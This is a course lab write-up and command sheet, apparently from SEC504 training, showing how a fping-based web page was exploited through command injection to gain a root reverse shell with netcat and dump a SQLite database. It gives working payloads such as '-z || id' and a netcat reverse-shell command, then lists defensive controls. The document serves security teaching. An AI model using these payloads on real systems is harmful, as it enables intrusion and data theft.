Skip to main content
← Back to lab
SEC504 - Hacker Tools, Techniques, and Incident Handling | Printable command sheet
OS Command Injection to Reverse Shell

OS Command Injection to Reverse Shell

Web Application Security | SEC504 | Jul 2026

The /singlestatus?target= page runs fping against a user-supplied target. Submitting -h returned fping's usage text, proving input reaches the command line (argument injection) before touching any shell metacharacter. A colon payload failed (wrong operator), but -z || id worked: the invalid -z option forces fping to fail, and || then runs id, returning uid=0(root). From there, -z || ls exposed the application source (app.py, db.sqlite3, config.py), -z || which nc confirmed netcat was installed, and -z || nc 10.10.75.1 4444 -e /bin/sh opened a reverse shell as root. Inside the shell, sqlite3 db.sqlite3 .dump exfiltrated the full database.

Tools: curl / browser, fping, netcat, sqlite3, Slingshot Linux

Commands

1. Find and exercise the endpoint

robots.txt pointed at /singlestatus. The page (For Official Use Only) takes a target and returns fping output (packet counts, min/avg/max). Normal input produces normal output; the question is whether that input reaches a shell.

curl http://support.falsimentis.com/robots.txt
# browse /singlestatus?target=10.10.75.1
The page runs fping against the target parameter

2. Prove the sink with argument injection

Before any shell metacharacter, submitting target=-h returned fping's full usage text. That single harmless response proves user input is placed on the fping command line unsanitized. Argument injection confirms the vulnerability without risking anything.

# /singlestatus?target=-h
-h is interpreted as an fping flag: input reaches the command line

3. Escalate to command injection

A colon payload failed (not a shell separator here). The working payload was -z || id: the invalid -z option makes fping exit non-zero, and || then runs id, which returned uid=0(root) gid=0(root). Forcing the base command to fail makes || fire reliably.

# /singlestatus?target=-z || id
Invalid -z forces failure; || runs id -> uid=0(root)

4. Enumerate the application

-z || ls listed the app directory: app.py, db.sqlite3, config.py, templates, trainbot.py, and more. -z || which nc confirmed /usr/bin/nc (netcat was installed, which the sibling IDOR lab's build.log had already revealed).

# /singlestatus?target=-z || ls
# /singlestatus?target=-z || which nc
Enumerate the source and confirm a tool for the next step

5. Open a reverse shell as root

With netcat present, a listener on the attacker (nc -l -v -p 4444) plus the payload -z || nc 10.10.75.1 4444 -e /bin/sh produced a connection from support.falsimentis.com running as root. A web input became an interactive root shell.

# attacker: nc -l -v -p 4444
# /singlestatus?target=-z || nc 10.10.75.1 4444 -e /bin/sh
-e /bin/sh binds the shell; connection runs as the web process user (root)

6. Exfiltrate the database

In the root shell, sqlite3 db.sqlite3 .dump printed the full schema and data (the chatbot's tag and statement tables, its training corpus). Command injection to root is complete server compromise, and the local database is right there.

sqlite3 db.sqlite3 ".dump"
.dump: full schema + data export

Key Findings

  • Argument injection (-h) proved the sink with one harmless request
  • -z || id executed as root (uid=0)
  • The web process ran as root, so injection meant full compromise
  • Reverse shell + sqlite3 .dump exfiltrated the entire database

Security Controls

  • No shell invocation on user input (library calls / argv arrays)
  • Strict input validation (allowlist IP/hostname)
  • Least-privilege web process (not root)
  • WAF rules for shell metacharacters
  • Egress filtering to block reverse-shell callbacks
Lab Print Sheet | Luis Javier Lozoya